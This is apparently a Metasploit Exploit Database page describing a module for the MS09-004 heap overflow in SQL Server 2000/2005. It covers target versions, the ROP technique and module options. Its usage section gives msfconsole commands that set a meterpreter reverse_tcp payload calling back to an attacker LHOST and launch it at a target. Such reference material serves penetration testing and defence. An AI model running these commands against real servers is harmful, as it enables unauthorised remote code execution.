Microsoft SQL Server sp_replwritetovarbin Memory Corruption | Metasploit Exploit Database (DB)

Microsoft SQL Server sp_replwritetovarbin Memory Corruption

A heap-based buffer overflow can occur when calling the undocumented "sp_replwritetovarbin" extended stored procedure. This vulnerability affects all versions of Microsoft SQL Server 2000 and 2005, Windows Internal Database, and Microsoft Desktop Engine (MSDE) without the updates supplied in MS09-004. Microsoft patched this vulnerability in SP3 for 2005 without any public mention. An authenticated database session is required to access the vulnerable code. That said, it is possible to access the vulnerable code via an SQL injection vulnerability. This exploit smashes several pointers, as shown below. 1. pointer to a 32-bit value that is set to 0 2. pointer to a 32-bit value that is set to a length influcenced by the buffer length. 3. pointer to a 32-bit value that is used as a vtable pointer. In MSSQL 2000, this value is referenced with a displacement of 0x38. For MSSQL 2005, the displacement is 0x10. The address of our buffer is conveniently stored in ecx when this instruction is executed. 4. On MSSQL 2005, an additional vtable ptr is smashed, which is referenced with a displacement of 4. This pointer is not used by this exploit. This particular exploit replaces the previous dual-method exploit. It uses a technique where the value contained in ecx becomes the stack. From there, return oriented programming is used to normalize the execution state and finally execute the payload via a "jmp esp". All addresses used were found within the sqlservr.exe memory space, yielding very reliable code execution using only a single query. NOTE: The MSSQL server service does not automatically restart by default. That said, some exceptions are caught and will not result in terminating the process. If the exploit crashes the service prior to hijacking the stack, it won't die. Otherwise, it's a goner.

Search Other Modules


Exploit Rank

  • Good

Exploit Authors

  • jduck < jduck [at] metasploit.com >

Vulnerability References


Exploit Targets

  • 0 - Automatic (default)
  • 1 - MSSQL 2000 / MSDE SP0 (8.00.194)
  • 2 - MSSQL 2000 / MSDE SP1 (8.00.384)
  • 3 - MSSQL 2000 / MSDE SP2 (8.00.534)
  • 4 - MSSQL 2000 / MSDE SP3 (8.00.760)
  • 5 - MSSQL 2000 / MSDE SP4 (8.00.2039)
  • 6 - MSSQL 2005 SP0 (9.00.1399.06)
  • 7 - MSSQL 2005 SP1 (9.00.2047.00)
  • 8 - MSSQL 2005 SP2 (9.00.3042.00)
  • 9 - CRASHER

Exploit Development


Similar Exploit Modules


Exploit Usage Information

$ msfconsole

                ##                          ###           ##    ##
 ##  ##  #### ###### ####  #####   #####    ##    ####        ######
####### ##  ##  ##  ##         ## ##  ##    ##   ##  ##   ###   ##
####### ######  ##  #####   ####  ##  ##    ##   ##  ##   ##    ##
## # ##     ##  ##  ##  ## ##      #####    ##   ##  ##   ##    ##
##   ##  #### ###   #####   #####     ##   ####   ####   #### ###
                                      ##

msf > use exploit/windows/mssql/ms09_004_sp_replwritetovarbin
msf exploit(ms09_004_sp_replwritetovarbin) > show payloads
msf exploit(ms09_004_sp_replwritetovarbin) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(ms09_004_sp_replwritetovarbin) > set LHOST [MY IP ADDRESS]
msf exploit(ms09_004_sp_replwritetovarbin) > set RHOST [TARGET IP]
msf exploit(ms09_004_sp_replwritetovarbin) > exploit


Exploit Module Options

PASSWORD The password for the specified username (default: )
RHOST The target address
RPORT The target port (default: 1433)
USERNAME The username to authenticate as (default: sa)
USE_WINDOWS_AUTHENT Use windows authentification
CHOST The local client address
CPORT The local client port
ConnectTimeout Maximum number of seconds to establish a TCP connection
ContextInformationFile The information file that contains context information
DOMAIN The domain to use for windows authentication
DisablePayloadHandler Disable the handler code for the selected payload
EnableContextEncoding Use transient context when encoding payloads
HEX2BINARY The path to the hex2binary script on the disk
NTLM::SendLM Always send the LANMAN response (except when NTLMv2_session is specified)
NTLM::SendNTLM Activate the 'Negotiate NTLM key' flag, indicating the use of NTLM responses
NTLM::SendSPN Send an avp of type SPN in the ntlmv2 client Blob, this allow authentification on windows Seven/2008r2 when SPN is required
NTLM::UseLMKey Activate the 'Negotiate Lan Manager Key' flag, using the LM key when the LM response is sent
NTLM::UseNTLM2_session Activate the 'Negotiate NTLM2 key' flag, forcing the use of a NTLMv2_session
NTLM::UseNTLMv2 Use NTLMv2 instead of NTLM2_session when 'Negotiate NTLM2' key is true
Proxies Use a proxy chain
SSL Negotiate SSL for outgoing connections
SSLVersion Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
VERBOSE Enable detailed status messages
WORKSPACE Specify the workspace for this module
WfsDelay Additional delay when waiting for a session
TCP::max_send_size Maxiumum tcp segment size. (0 = disable)
TCP::send_delay Delays inserted before every send. (0 = disable)